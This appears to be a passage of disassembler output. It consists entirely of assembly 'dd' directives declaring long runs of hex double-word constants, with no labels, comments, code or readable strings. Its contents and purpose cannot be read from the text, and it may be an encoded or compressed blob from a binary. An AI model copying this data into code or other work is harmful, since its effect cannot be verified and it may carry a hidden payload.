		dd 6198A981h, 442246D2h, 0D879A582h, 0B8A28724h, 0B930D5E2h
		dd 671C0013h, 0FA809A6Bh, 7075DD6Dh, 0F67E750Ah, 6A02942Ah
		dd 40C0EC7Dh, 54A590h, 79E08B6Eh, 0F8230E9Bh, 99F0B150h
		dd 38B9E0A6h, 0F718ED59h, 0AD6CD506h, 968C633h,	0F5EC65F1h
		dd 58340481h, 50A07E0Bh, 216C90FEh, 9311663Ch, 163F8580h
		dd 87E151h, 993F9A6Fh, 0B509473Ch, 22E41D2h, 1D77148h
		dd 2727F10Eh, 0A70B225Ch, 60D744D0h, 0A02ECB1h,	5C980950h
		dd 0EE118Ch, 6A17DDA4h,	77BADCD6h, 87530234h, 0F1C3134Ch
		dd 813A6854h, 151B9C8Bh, 8440979Ah, 24060267h, 0A01CC8ADh
		dd 0F1FC7158h, 0C47DDC42h, 0D74200ECh, 0B13C21BDh, 30C1F8A9h
		dd 2BECCDEFh, 267DC064h, 4E7CE9B4h, 4E229C4h, 9D28C915h
		dd 3AEA3502h, 0C7B9B607h, 60DD44DCh, 4C93055Dh,	0D6889013h
		dd 0AF46E4A0h, 3A3F8107h, 88C54951h, 3F366B80h,	5BF61Eh
		dd 8EC27423h, 0E6D77F51h, 8234FC4Ch, 266A158h, 0BC61089Dh
		dd 30904288h, 58626C27h, 0E48080E3h, 0E75BF072h, 2189A0E9h
		dd 1C82D86Ah, 88403BEEh, 618229D4h, 23183984h, 6D96A904h
		dd 0D837C83Ch, 0A93BF281h, 31C89A7Bh, 861F02A8h, 0F1786652h
		dd 504030CAh, 2D6487B2h, 685932A0h, 2E25183Bh, 21A194A9h
		dd 3D304034h, 8300C2A9h, 7D0947E8h, 600118E0h, 73C62108h
		dd 98008BFBh, 7E0FF4DFh, 4B183CDh, 45F3D13Bh, 7B38C0EFh
		dd 0AC092EDBh, 480670EBh, 8FE768h, 79AB4630h, 0DC65D3DBh
		dd 15EB4490h, 0DC23083Ah, 0D2C0E41Fh, 128E7076h, 6559204Ch
		dd 61F85312h, 0AF33FC82h, 0A4CB92E8h, 6EC3F9C8h, 2FE1F09Ah
		dd 0D44C040Fh, 0E0FCB435h, 71455224h, 9EDF003h,	0E455B439h
		dd 492F44A3h, 10028128h, 280775F0h, 9B1FEA33h, 1901C6h
		dd 0A2776F32h, 10A9C2B4h, 0C9E12300h, 278653D4h, 61AE689h
		dd 983A919Eh, 78B07967h, 4E246C20h, 53902083h, 1600CB6Dh
		dd 0DDB6EE71h, 3D205Eh,	43C1FC10h, 0A06D8C50h, 6A01909Ah
		dd 1835F3A2h, 88E0ED21h, 9BD10055h, 0DEBC2E8Fh,	0FD1E0E40h
		dd 64D270FFh, 0B5F33800h, 2B4C38h, 91C3E3D7h, 11EF23E9h
		dd 798C9803h, 695D49Dh,	2C65F340h, 8A005827h, 0F001E997h
		dd 3914BDBh, 7D8F8922h,	882CCE3Ch, 77951CEAh, 0BC3C5CD8h
		dd 9F48CFDh, 0CDF3EC01h, 0FCC71024h, 22303602h,	6D9709A9h
		dd 6045C834h, 0A900C12Ch, 0F87596E9h, 0AC91045Bh, 80FC1C43h
		dd 9822CE28h, 0FC5C6948h, 20098C7Bh, 0C54DFB36h, 67E5E448h
		dd 0E2377750h, 7E6B000Ch
		dd 75C80635h, 0C1C9FE7Ah, 8C98E84Ch, 31663D2Eh,	0B79D9B83h
		dd 4D90EBA0h, 0DD000DBFh, 0EA5A2274h, 90F0D876h, 1409400h
		dd 0B85851F3h, 60F08BD7h, 0E4FC4573h, 726360F8h, 0C0A789Eh
		dd 0EB14A3ABh, 0E025FB50h, 0DC88B9D1h, 31A55300h, 8269B269h
		dd 0E49FE8h, 80A355F3h,	0B6FCC801h, 339281B4h, 0FE88CC2Dh
		dd 0E1203214h, 0CA1885C4h, 847B0C91h, 0D7FBC460h, 0ECE8E724h
		dd 886090A4h, 0D965A0h,	0CC74166Eh, 739B5E32h, 0B0FA53F2h
		dd 33A8A352h, 0A99CC2Bh, 0D64C9A10h, 1F45819Ch,	0C0D8E6E1h
		dd 20074FCh, 81EB3829h,	4B485E4h, 906D8F22h, 0EA3402C9h
		dd 330058A6h, 9F91E12Fh, 0FAA917C0h, 3CB18F02h,	50C1CBF2h
		dd 0F050B03Ch, 0FBD5F915h, 0B6263080h, 1F96EF11h, 41739F0Fh
		dd 0BC1B20E6h, 11D3F44h, 0A9CE973Dh, 0D0B2CC04h, 3B052D11h
		dd 0B5AFAC53h, 0E4A01185h, 4A790185h, 6C894B1h,	22886C20h
		dd 2C263CC0h, 0F505A160h, 0E1F9A9Dh, 0B547CC7Eh, 0C08FF463h
		dd 0CD8C658Bh, 0DC1B4810h, 0E7093A00h, 1D51DB07h, 0AA2406F2h
		dd 80BAA46Bh, 7E43C679h, 319F07AEh, 0F1D66A4Dh,	68012024h
		dd 0BD586113h, 12AB5842h, 7738C1F9h, 0BE813712h, 83DE2F27h
		dd 4FFFEE99h, 0A818C34Bh, 0C6B9C32h, 0B60D2FE9h, 91038E20h
		dd 0E29A79CEh, 973198DEh, 0C2EA61h, 3C2475EFh, 3FA1D980h
		dd 0D9C931Fh, 48403DC3h, 4B320065h, 691E424Ch, 670321F2h
		dd 7F3F91C4h, 0F308302Ch, 0F1602521h, 0C844B607h, 0D770A3EAh
		dd 0E4186EDCh, 842005Ah, 0FE43B2F3h, 1900AC4Bh,	0E3B65A1h
		dd 66336F02h, 21AB087Eh, 0A1107200h, 2BFB2FDBh,	98A6006Ch
		dd 31B796B4h, 300090FCh, 0B64A6B6Fh, 4485DE7h, 5B7C954Ch
		dd 6F9B219Ch, 20C75106h, 386E94h, 0F1BF0748h, 692CB64Dh
		dd 3E18B7FEh, 0E54E229h, 53976FADh, 23C0B0E1h, 80CAD14Fh
		dd 0AC0C7C21h, 7D131F82h, 2A5CF20Ah, 0FF9892A8h, 0A880019h
		dd 98AC2C67h, 75481B20h, 0B4F2003Eh, 20E1249Dh,	0A83E79C1h
		dd 28D206CBh, 1EA00567h, 0CD5D323h, 2010FF7Fh, 40BCC730h
		dd 10644FEh, 0B09F93FBh, 60AA4F43h, 257DA95Bh, 0B70173B0h
		dd 48FE75C1h, 8850AB27h, 0F8F4BF96h, 0C7830FDAh, 0B8E01ACCh
		dd 0EBD29DBBh, 614D4700h, 244F31B4h, 0BC2129Eh,	0DE7F00EEh
		dd 572A2644h, 8A216400h, 9846BF6Ah, 16DC0018h, 0B0BC6123h
		dd 2A00EC44h, 0D669C7Dh, 2927A0h, 0D4255953h, 2F1BA4A9h
		dd 0DA0794E6h, 0E94413BDh, 4F83F047h, 6F3AA0F6h, 0F7690095h
		dd 40A88CE8h, 7003288Eh, 3ED55F92h, 9A12E0F6h, 59171FD2h
		dd 16BA0F1Eh, 5EF1FB03h, 295761C7h, 0BD2881F8h,	0C0F31BF5h
		dd 39676080h, 9748B92Eh, 6E632000h, 0EF5A7923h,	0AC53E8Dh
		dd 0FA3A6003h, 300FA883h, 451BF3EAh, 141D736Eh,	9E4D1840h
		dd 3AFA3Dh, 0EBE44BBFh,	0AAFE1E5Bh, 6F945019h, 1C4863D1h
		dd 19496028h, 9A113954h, 0B8848703h, 0CA66A51Eh, 954C8028h
		dd 0A01DBD7Fh, 64DB3C80h, 2E28B8E3h, 8A079F22h,	0A73B8171h
		dd 417C4AF0h, 0A94900C8h, 0EA951976h, 69E430BDh, 0E5F0FF0Fh
		dd 94C5A06Fh, 68FEC91h,	2F981661h, 4900B141h, 14C417BBh
		dd 1D71019Ch, 3902085h,	0F18335D7h, 2FBD700Ch, 7F00898h
		dd 99D205ADh, 9D50C092h, 0C0009188h, 55E4B0C5h,	7721BD3Fh
		dd 5278C493h, 0B61400DCh, 719F33B2h, 63A4403Fh,	0E9255630h
		dd 50E37212h, 1ED988Eh,	0C3EECDFh, 60B610DEh, 1D02EE90h
		dd 0D43CA225h, 9BD6439Bh, 62790586h, 474925Eh, 1E8D4024h
		dd 2E3CA0C0h, 0B0587DFAh, 9BC1C03Fh, 20E52779h,	0BB395300h
		dd 5D88EDC2h, 50822A4Dh, 96B707B0h, 0A0CD8A7Bh,	0D4BDCB6Dh
		dd 0AD756E00h, 806AB199h, 0A04E5036h, 0DF701471h, 5100D094h
		dd 0DB9803B6h, 0A007243Eh, 0E507B9DCh, 0FD480EC0h, 829B008Ah
		dd 8414ED1Dh, 0AD006AB7h, 64135D6h, 92FE63F5h, 96823094h
		dd 3E1E7289h, 54D3F100h, 4E7AF56Ch, 5DC33018h, 2E3DCC70h
		dd 0BC9CDE1Eh, 2CBCEA1Eh, 850037C6h, 0A03B8B37h, 59E20150h
		dd 0B8D5CC0Fh, 8ADA309Eh, 9FF7D006h, 69C0F5h, 0A8FEAF1Dh
		dd 470450E9h, 0C438F400h, 0E2B6D2E0h, 2BE865h, 0C448216h
		dd 71F7C2F9h, 806BCB07h, 0B5B0A0A4h, 4A8147Eh, 8119997Bh
		dd 64CC81BEh, 353C20BFh, 24924F73h, 384EF000h, 254CCA65h
		dd 2833185Ah, 1AB04644h, 18C160B0h, 0F9306E3Ah,	0F8A6AE60h
		dd 0C1C5496h, 51CB42D9h, 800C12D7h, 2D0C1411h, 0C1F008E9h
		dd 95F86649h, 0CB200077h, 0C9B240D5h, 8C08777h,	0E72B9E4Ch
		dd 4F6A06E2h, 182624E8h, 2254CD00h, 961B662Ch, 651D621h
		dd 39152E9Ah, 0B5CD0D01h, 58314FDDh, 0F0E6C6E0h, 63FFF04Dh
		dd 0BFD5C033h, 0E0DD711Eh, 856670Ah, 6608DB1Eh,	0E73580BEh
		dd 0BCA13F12h, 30FBFF03h, 7C4702Bh, 0F1D84479h,	0EDA601C5h
		dd 80BE11h, 0E72EC6DBh,	1FCAD9CFh, 59335D95h, 104E7828h
		dd 4A9937h, 181CC4F9h, 0A9713012h, 0F06948C4h, 233BBB00h
		dd 88A82784h, 2EFE5185h, 0F50D9979h, 857A0B0h, 203546h
		dd 92A7C86Fh, 3C7E2961h, 59AB2806h, 411785h, 0FCC16007h
		dd 9C4F9681h, 2913E600h, 7F1A5A86h, 802E0098h, 2DE5247Dh
		dd 2801D31Bh, 0BD6654C4h, 98613932h, 0B425498Eh, 3EFC85h
		dd 75311A08h, 960C4DCEh, 99522D3h, 7A21C039h, 232F7259h
		dd 3815B38h, 7E767706h,	7440903Ah, 80049012h, 3042FBF8h
		dd 98108710h, 4D01554Ah, 22FA1803h, 298E1A5Dh, 9C34D1BAh
		dd 2A4D5F01h, 80DD4504h, 380D7E10h, 0C447A1h, 0A58BF029h
		dd 1299B6F3h, 9904500h,	0DABA4D92h, 2D6C0013h, 0F66148C7h
		dd 0F900C07Fh, 0E569E07Eh, 7A067A9Bh, 1A713A86h, 78E75680h
		dd 2CFB2E36h, 75888300h, 0FADECD5Eh, 150F0109h,	0A9EDF120h
		dd 0AA46D096h, 0F8BD38h, 10D5C757h, 0FF06EBh, 0DF05C869h
		dd 6B379B4Eh, 0BB9C8C11h, 3EFA0446h, 108B30E1h,	1C945C43h
		dd 82A02Bh, 97BB52EBh, 8C0344ECh, 4C92E179h, 0CF43C00Bh
		dd 5129DE9Bh, 489511EAh, 0F08BE21h, 28C89498h, 42143828h
		dd 0C4EA3C2Ah, 0FB228474h, 115642D2h, 7000F178h, 0BABB51F0h
		dd 0CA00C0E9h, 5EF99A6Bh, 90C95Ch, 131CB466h, 25C3DE80h
		dd 0BE072E00h, 0A2E13BCBh, 5C190381h, 908FFED3h, 0C476E0B7h
		dd 0A40E1684h, 3FB3956h, 0D8943A38h, 2720CD6h, 97099F31h
		dd 9C835E6Dh, 29B958BAh, 0BDB8F852h, 0B30BD800h, 0B5B4614Fh
		dd 6F7B0021h, 23E7A9A1h, 0CD1E4466h, 803CA2CFh,	1DDAEA11h
		dd 65F9EFh, 402BE761h, 7A598918h, 60DDDE71h, 8E5EACC0h
		dd 0D96598h, 4F8542ECh,	95E21C15h, 6356760Eh, 6C964049h
		dd 0F7187F8h, 6BCFC1DDh, 6AC79220h, 2C3EEE9Eh, 7B298A9Ah
		dd 8300F0BAh, 69BB2D33h, 133E007Ah, 0A954F3A0h,	2903EFDEh
		dd 6B8C7C27h, 9718E884h, 1CE5030Bh, 3EEE5C3Bh, 63E0519Ah
		dd 0D9000E78h, 3DE3F260h, 1F64F08Eh, 83923827h,	0E7965FD7h
		dd 0F018CFE1h, 1E3F5E3Ch, 0C473A61Bh, 67C4B300h, 7C66BB65h
		dd 6851CE8h, 3A894023h,	2C9D4550h, 6BDBB700h, 66A1BFAAh
		dd 0B03700BCh, 60E4C3C8h, 670EE73Fh, 0E04D6CE2h, 9E991A47h
		dd 7BCA034Ch, 79BDAFEFh, 35A8B0A3h, 0AD3FF3ACh,	0B3728393h
		dd 80A169FEh, 0A37E2BDh, 0E0B116ECh, 5999008Ch,	6C245130h
		dd 794C2F14h, 0E8B14C0h, 812A00F8h, 6E86A634h, 7D1B1C73h
		dd 0CAB880E4h, 6DC79E4Dh
		dd 87D41900h, 0D5C9472Dh, 86721Ch, 326243A8h, 6EBF442Ch
		dd 16907612h, 0BB5BE0h,	56418A82h, 2C986FFh, 0A584A000h
		dd 0D1EF58C5h, 2DDA0073h, 60525D38h, 5600D71Ch,	952C0FC4h
		dd 58F9924h, 73E9C65Fh,	0B0FC00F9h, 43194AE0h, 0B86AFB2Eh
		dd 25C0AF1Fh, 0B8EB3857h, 0A0162414h, 815E01F4h, 0C4C8648Ch
		dd 0DB0FE1E7h, 402A3D2Eh, 8E9F77E3h, 0C58B005Ah, 9932DCD3h
		dd 2800E26Bh, 0A6F5E768h, 83103Bh, 0E4F888B5h, 0E8BBFA77h
		dd 4A85550Bh, 0F35E8058h, 38B3DCD0h, 7280A565h,	8917157Fh
		dd 2301664Eh, 8D35B03Fh, 0B8D4DBCAh, 0F7A039CDh, 4755210Fh
		dd 805277A0h, 0DF4C1340h, 93E4C44h, 0CAF098h, 0DBB4639Ch
		dd 8BC71346h, 0E745006Bh, 0F1728F0Fh, 0A98F500h, 0B12DEEA5h
		dd 0C11A0078h, 0D93FB080h, 330099EFh, 9D8A38E6h, 3C8B488Eh
		dd 8505F2E7h, 805E11DBh, 71D83EC0h, 9C889739h, 66803AD3h
		dd 9AD24D38h, 1E1DE89Eh, 408A9046h, 0B6F9E9C1h,	0FB12B298h
		dd 34001C9Dh, 7A98F61h,	4A670026h, 0A5596A2Dh, 0BE00AF88h
		dd 0AEE8B2F9h, 173BF2BCh, 0FEEC8EAh, 0A8A09B27h, 0C403F10Bh
		dd 39260A00h, 0A6557314h, 0D8BE4880h, 5AF03800h, 812945DEh
		dd 0B949C300h, 0AF528B16h, 71B200D1h, 7A8EB3Dh,	0D800AB29h
		dd 0FCF19C3h, 9850F349h, 2D0C0139h, 5BEAE17Bh, 1E40F8F1h
		dd 0CC3E6F7Bh, 0E38280F7h, 45DC8A84h, 235D24D4h, 0AD003AE4h
		dd 0CE61E852h, 2D003406h, 422CCBECh, 1DC06315h,	77E286h
		dd 4E34F31h, 0CC120EBAh, 0B40010FDh, 0F92BE991h, 32AA01A1h
		dd 6C4E9FC6h, 8756F8E2h, 5FCE1400h, 0B23F4750h,	3C70DD80h
		dd 0D5B04980h, 0DEF137BAh, 0A8032F00h, 0D3DA7994h, 48D180A5h
		dd 123C5B01h, 26E87393h, 48767D70h, 0B00CA45h, 38DCE5CFh
		dd 490077D0h, 0EE43408Ch, 20E19Fh, 4F81053Eh, 1C7E258Fh
		dd 9DFC40E3h, 9C00BF30h, 7D295707h, 95E83Eh, 0E379DABCh
		dd 0E25F0CEh, 0BEF1DB01h, 0B704E0E4h, 0E048ACCCh, 0A0B2A6h
		dd 27FB3A5Fh, 7792ECC2h, 0B4DC1226h, 3F11C600h,	0EA8EE541h
		dd 3DA337F4h, 40F9A728h, 0F776A434h, 8B4A39h, 59A344F2h
		dd 0A83C70h, 0DE669E47h, 0DF0A8E77h, 50F13A00h,	21CFD298h
		dd 2CBA58EBh, 2872D701h, 0FD2792ABh, 0F6A5FDAAh, 0D0A79261h
		dd 0E80093E2h, 0CD87C7EEh, 0DA60F24h, 0FCDC56ECh, 3AC880D0h
		dd 0D5D6B467h, 0FA0B0051h, 2AF5F75Bh, 0E20017B6h, 0BF950F21h
		dd 410186h, 68227F8Dh, 0F3563098h, 3CDC2D00h, 9D277670h
		dd 0EBD31CE3h, 240F401Fh, 83756F60h, 58556330h,	2D596A2h
		dd 236B2BF3h, 0BE046F8h, 7F756ABAh, 0DF516000h,	3BF0E7D9h
		dd 3FFA000Eh, 68A78ECCh, 7C1601DEh, 31064B9Ah, 3B50C03Dh
		dd 0B91E8A44h, 217844CFh, 0A30082A4h, 54E50760h, 0B6F13000h
		dd 0B8A84CA5h, 0E460F970h, 0C77E3072h, 0C1D6A640h, 0C678C00h
		dd 0E579AF7Fh, 897A009Ch, 0F25FC6DAh, 501E5A64h, 0FB00D523h
		dd 0F81AC799h, 0AB960008h, 3548D040h, 4F00F3C3h, 6830AC29h
		dd 6BE2B7h, 0CF9EBB69h,	0B9D99AA5h, 5057641Eh, 38BDEC80h
		dd 66E05Ah, 0FAD717F2h,	4F201301h, 3E62CE01h, 19A614D4h
		dd 0F8C05B21h, 0E25B0094h, 720485BFh, 163BC03Ch, 0B807BDC7h
		dd 0D48F8087h, 8B942F80h, 0DAC31245h, 7E40302h,	0A8E89943h
		dd 0EF00700Fh, 2A4CCC10h, 227FE56h, 0A38EB325h,	7BE049C2h
		dd 0FA009C3Ch, 1C2254BCh, 76D1FBB4h, 98C124DAh,	0E704004Eh
		dd 65536C3h, 8AB4350Fh,	7DCC4012h, 0CF1B21h, 0C7A9EA54h
		dd 0EB95745h, 0FC006A7Ah, 0C385B795h, 399BDC04h, 0FA0ABBh
		dd 0D8CAF85Ah, 207A2FAEh, 0CDC47501h, 0F3D1D026h, 0F4FFF8h
		dd 0F1CBDB8Eh, 0AE2AFCD2h, 9F00A590h, 45588860h, 726BB54h
		dd 388AC634h, 410A2307h, 0CA8C3AD8h, 5436322Eh,	2EA61B02h
		dd 0EB2C6026h, 0D71EE93h, 37203412h, 966AD020h,	0C648BE07h
		dd 0D4A0A128h, 1604DF01h, 64E177h, 7F673494h, 0B7002EBEh
		dd 88DB1D8Eh, 0EF9245E2h, 0E10AAC0h, 5ED17A93h,	2251EBC0h
		dd 5F00201Ah, 1B56B458h, 7DD7CACh, 6ABD81D2h, 0C8C06045h
		dd 5009DE2h, 32AB8C4Eh,	7E3C2623h, 34A400C6h, 0B96D1C63h
		dd 53057935h, 0BCE07A54h, 0DC6C01Fh, 1294A9A3h,	1EEC5EB9h
		dd 3294C0E0h, 8201BA60h, 9A472800h, 27180EB3h, 95B705FDh
		dd 90425E3Fh, 2B292118h, 9A112E00h, 0F0A9FBAAh,	7B7346h
		dd 93DA5C5h, 0E858A8DCh, 0C9DFF300h, 0CC6F351Bh, 7B400F42h
		dd 0B00F5FCh, 5E57DA82h, 0DBDEC700h, 0C50C3A83h, 7039001Ah
		dd 4153218h, 9760AAE6h,	61316A38h, 0FE0A0758h, 1033CBF0h
		dd 0DFB1C221h, 75450100h, 3CAABCDh, 1F8EE6Eh, 0FB7D33A2h
		dd 32D17631h, 0E4F90024h, 5269B3A1h, 748C010Eh,	99C384FAh
		dd 18D8D0ABh, 44D75000h, 0B014527Eh, 0E26A013Dh, 0C5E7A286h
		dd 4A4020C1h, 1910D912h, 6E981800h, 31B96Ch, 0E30D0735h
		dd 0B8332E90h, 0CDB4A200h, 91B10B1Ah, 6C690011h, 23DFD383h
		dd 860E9749h, 42E57417h, 43324A87h, 1401A040h, 0A61096D7h
		dd 0A0FC84BCh, 20408024h, 450022E8h, 342B8386h,	0AF41F1h
		dd 0E0ECFE51h, 0AAD6A3BEh, 33C6DD00h, 7419CAD5h, 8AF70092h
		dd 82C48F7Eh, 67EE516Ch, 9ACC3C02h, 0C1F4F15Fh,	0A0E8A93Bh
		dd 41DB00DFh, 99836AE1h, 0BC004F95h, 0CB5EEE06h, 594A503Fh
		dd 1401481Bh, 0A4FBE61Ch, 0F5EFF855h, 1782A500h, 5EDD94BDh
		dd 7AA00ACh, 0C56C22C4h, 0D07EB235h, 0FFF5EA0Bh, 804000Ch
		dd 0B8D57F9h, 381E7477h, 24000B8Bh, 3DF11320h, 0B046C800h
		dd 4DA8495Ch, 80D80044h, 4A2DFD64h, 0C09ECADh, 0C222C0h
		dd 0B34E7378h, 7C89021h, 0E632A976h, 4015B3A0h,	9EC386E8h
		dd 980D3B00h, 25D37506h, 0B4A70168h, 86E9E585h,	0F090C1E1h
		dd 0C4B27E26h, 8C20CC4Ah, 0C928F1h, 0B4F62171h,	0BB8AC8BFh
		dd 17EB4503h, 0E0200977h, 51DF0B3h, 44D9C3CBh, 93C486h
		dd 93514ED0h, 793A05C6h, 55F80085h, 0D4E20288h,	0E83B007Bh
		dd 693F449Ch, 4100A9E1h, 730146C6h, 48BE6E74h, 1707384Dh
		dd 0C02C6835h, 0CE6381E4h, 5C5D4600h, 0A21C5A44h, 0D6FA0EB8h
		dd 0EE808D71h, 1517C103h, 0D3071890h, 481497BBh, 6972B940h
		dd 0C3470005h, 733F3A4Dh, 0DC9C676Ah, 8741C800h, 37DD6081h
		dd 0C078F726h, 0E63AF009h, 0CBED9100h, 0F4E242B1h, 521A0098h
		dd 218984FEh, 68007A5Dh, 49BC70BDh, 0A692B6h, 5B8A7DAh
		dd 0BB9C935Bh, 42489600h, 0CD0EFEF2h, 82DA073Dh, 0DC2C6DECh
		dd 9A019F81h, 76185BF3h, 60961959h, 8E910F86h, 1822880h
		dd 0FC71E721h, 0BE973200h, 0BD190471h, 26900D7h, 0A4FEF4C1h
		dd 0DE5814C5h, 0EF90F1Bh, 1C8FA0EAh, 465228Dh, 8E76503Bh
		dd 2054F0E6h, 0C600F97Fh, 0A908CC91h, 7226EDD2h, 40523919h
		dd 0AD95B901h, 0D8658FB2h, 0A5009221h, 8055BDD6h, 742BD5h
		dd 10CF50EFh, 8D0D77C6h, 1B3DFE1Fh, 7B7CC400h, 72FDF8Ah
		dd 0E853E3F3h, 0AFC2A00Fh, 2054CF0Dh, 0B18B11B0h, 38649D56h
		dd 96E81Dh, 0C30217AAh,	2D12C6E0h, 80D3F13Fh, 0C2A0F5FEh
		dd 9BCF2C5h, 8EB83A72h,	58D1C40h, 5707D0F5h, 0A230C202h
		dd 700D71B3h, 0CFC018D4h, 0F860F934h, 20468BA1h, 73D918Ch
		dd 0DB1080B0h, 0F06706F7h, 61C818EAh, 92CD10DAh, 0A46F5F07h
		dd 83EEBF74h, 0E840123Eh, 19E8B66Ch, 0D1C43AECh, 620819h
		dd 0C2887EA1h, 332627B3h
		dd 558F900h, 127A77E1h,	3A0D18F2h, 9E2F100Bh, 2DB1E000h
		dd 0D89781D5h, 2CBFA4Ch, 0BAE9E82Ch, 9CD08E6Fh,	61EB3130h
		dd 9E5C63h, 923C5ED7h, 3743E2DAh, 0A601C398h, 0AA63DCECh
		dd 60805349h, 0C03A426Ah, 4C003D7Fh, 8264ED6Fh,	0E5F51C58h
		dd 0C01E6D4h, 46D77093h, 70ED4E69h, 786EFB14h, 93E80728h
		dd 3843A320h, 1030003Dh, 0BB2E1447h, 622AB566h,	0A927B4D9h
		dd 0D688840Ch, 486CB4h,	51973B84h, 1143B12Eh, 718E6400h
		dd 49319D2Ch, 4490C8h, 5BE91A1Ch, 41F7FD46h, 8902124h
		dd 0E7958939h, 20508061h, 127EB49Ah, 405812D2h,	3EB313D8h
		dd 0C050ECDFh, 3C002FF0h, 97A39030h, 4D7436h, 11841EF0h
		dd 866B4C60h, 544A7800h, 0DABE6C6Dh, 0F5E5037Ch, 8BBD5D8Fh
		dd 44C443C0h, 0B6E2A200h, 1261A9A1h, 625530F0h,	0F8BC6411h
		dd 0F9043203h, 0E8DE245Fh, 0B7B930h, 905750D0h,	4D8B365Bh
		dd 1B6AC02h, 4B1EECB8h,	6E100010h, 95F2E7F3h, 3A0E55FEh
		dd 2BF7221Ah, 0A0448E99h, 0F554DA15h, 0A1E50012h, 98494E42h
		dd 5A0FA204h, 676CA9BCh, 751F4B2h, 35C165FEh, 696C24h
		dd 0C061B3BCh, 25F98CC6h, 0F0683A00h, 0EE74CEB1h, 13277335h
		dd 8023DDE7h, 484FDF4Ch, 9DC28500h, 8DBD6CF3h, 0DA4A007Ch
		dd 0A5EB8BC1h, 0F03B558h, 0BAEF32ECh, 0F49DF82Bh, 0A6F700FFh
		dd 9F795437h, 0E4008DAFh, 0A3F52C77h, 5CB272h, 15C263B5h
		dd 0D24EB1AAh, 6D86AD00h, 90C5A9AFh, 0D38E0032h, 0EC924F4Ah
		dd 7D00776Eh, 8C9CD28Fh, 7123EEh, 7831F67Eh, 1BB5AF5Eh
		dd 0F3E0DF03h, 0D9921E9Eh, 0A84060ADh, 5AB9810h, 67633A7Dh
		dd 0A2448056h, 3900EFE1h, 40BC26E3h, 4A9CF5h, 3FACC792h
		dd 25DB85A1h, 0E6AE1B00h, 1FC9B768h, 3B977ADh, 0FC09B270h
		dd 5AD89DE2h, 3300AAA0h, 361733Ch, 0BF72DC36h, 0CA003F70h
		dd 47F2E0BEh, 450975h, 9364245Eh, 8A95E765h, 8F6E42Eh
		dd 0A97ACB00h, 92EAACh,	0D2CC0EBCh, 9B029E78h, 3D899100h
		dd 39A2B2BFh, 52A30324h, 0DAC9994Dh, 852E8394h,	0D062C1B4h
		dd 2417F036h, 699EF500h, 8394F1D8h, 3D1F0314h, 849FADCEh
		dd 7E461900h, 7BF23C16h, 4C11004Ah, 9028D07Dh, 0EE007A6Bh
		dd 0F3CE6F04h, 96F9C3h,	872E95EFh, 7080389Eh, 0A7B7E500h
		dd 81DDD50Ah, 0D4060715h, 334EAC24h, 0C0B97C96h, 0B29FC88Dh
		dd 0D311BB60h, 1CC309A8h, 8711F1F7h, 60FC8F84h,	559D9410h
		dd 6DD47501h, 63C639F0h, 9BC8424h, 0A6334882h, 3C664420h
		dd 21607459h, 6CA5F811h, 7C989AB0h, 0DDC40070h,	0CC56CF3Eh
		dd 0E20941C1h, 0D566C2h, 47D8506Ah, 0EC521629h,	13145FB1h
		dd 8080C067h, 59C2926Dh, 606BF1DDh, 191014h, 2455D9Dh
		dd 9B6A543Dh, 0E18E0500h, 0BA980C6Dh, 81AE1885h, 80253884h
		dd 5DC8CE02h, 60D7B91Fh, 7CF94Ch, 124D29CCh, 0FE263805h
		dd 0C1EF6003h, 88BD72D9h, 0FF69E6h, 1A822A9Ah, 0D0D81BB7h
		dd 700EDE00h, 0AF4AB9E7h, 3F0F1C45h, 0B0DC47EBh, 3E087184h
		dd 0F4F8877Dh, 4E70809Ch, 2E5548Dh, 69461F31h, 0AC60A64Fh
		dd 3200AB15h, 0FEAC2CE4h, 0DEB2DCh, 0D2B1912Fh,	0A40EBB56h
		dd 0CF65320Eh, 6CFA602Ch, 2AF8B6AFh, 3B881A76h,	948004DAh
		dd 69AC7F21h, 0F2002E4Ch, 0CD2CF00Eh, 0B05D14C0h, 2E00130h
		dd 2AC1AF9Dh, 0A048CCA7h, 53CF4F00h, 0A2CE8F2Dh, 25DF76A9h
		dd 10600214h, 0C8002FC1h, 1D0F7489h, 706B93h, 0F9644B92h
		dd 1BD278EEh, 1026E0BCh, 0D8CEE700h, 1913718h, 0EB3EEF6Eh
		dd 240169B8h, 0F04D5718h, 2D3E9Ch, 63D25F43h, 2A5FB98h
		dd 0EBAC0F54h, 18485235h, 0A614C547h, 5D4346Bh,	54B9F0AEh
		dd 7F7230D8h, 809560D4h, 9650E327h, 2A919C02h, 0D85BBFE4h
		dd 5AC1A0FCh, 39E130FDh, 9CC2B990h, 94838780h, 90D00D0h
		dd 91623D95h, 4EE76600h, 872D65AEh, 0A1440169h,	20DD56B4h
		dd 0ECA07006h, 0FA3E4CE8h, 6BFE012Bh, 2AEB0895h, 0FB59CCh
		dd 0E5C33CDFh, 704660CAh, 0CBD80300h, 582A75C1h, 0C08E7223h
		dd 4466D5E0h, 1500E84Ah, 0FCEF083h, 3AFA8Bh, 0EFA2B65Eh
		dd 8F41BE17h, 815331C9h, 942EEA6Fh, 80E5E0h, 2F5C4D56h
		dd 3AFDE3D0h, 5DE6F106h, 589411F5h, 0C7474ABh, 9024415Ch
		dd 7D00D011h, 6E8A5626h, 1D29849Bh, 80EBED04h, 685E7739h
		dd 9D1DA04Ch, 0B5C0CF8Eh, 0A61C651h, 0ABF5029Bh, 48B79939h
		dd 0F3AD9740h, 192B5400h, 0F2A5FF7Ch, 0AF720703h, 0B0EE6F6Ch
		dd 5141A0ADh, 7AD9EF0Bh, 6BF0A7D3h, 8AF8A880h, 3DB127Eh
		dd 0FB6C0066h, 181C445Eh, 0BF2A4609h, 0F4D90227h, 0EA4AC00Ah
		dd 4B275h, 53852339h, 8FDEA449h, 36305700h, 1B4EFE7Fh
		dd 0C2902E3h, 35CEF106h, 21F51448h, 8532EF24h, 562B5104h
		dd 81D52893h, 17FC0D1Eh, 0A1C31869h, 39B040FEh,	0D9277209h
		dd 413451AFh, 2A7F48CAh, 0EAC32C00h, 12453295h,	40B34A47h
		dd 98030F44h, 0EC052089h, 0AAC965F9h, 0BC86EC90h, 33A402BEh
		dd 75DBE4AFh, 0E88004F8h, 0C6007C03h, 0BE1F11CCh, 25EE43h
		dd 0E28589FBh, 7E74BA04h, 3B198D1Ch, 9681441Fh,	0A7EA3CC0h
		dd 52A6F20h, 0F2FA1C11h, 79E4F4A8h, 0A802D637h,	843A93C3h
		dd 0A81A7483h, 6E865Fh,	0E2B70CE5h, 0E8F3ACA1h,	275A3716h
		dd 39D1F401h, 5ECC1E67h, 23ED0050h, 2953C20Dh, 187E83CBh
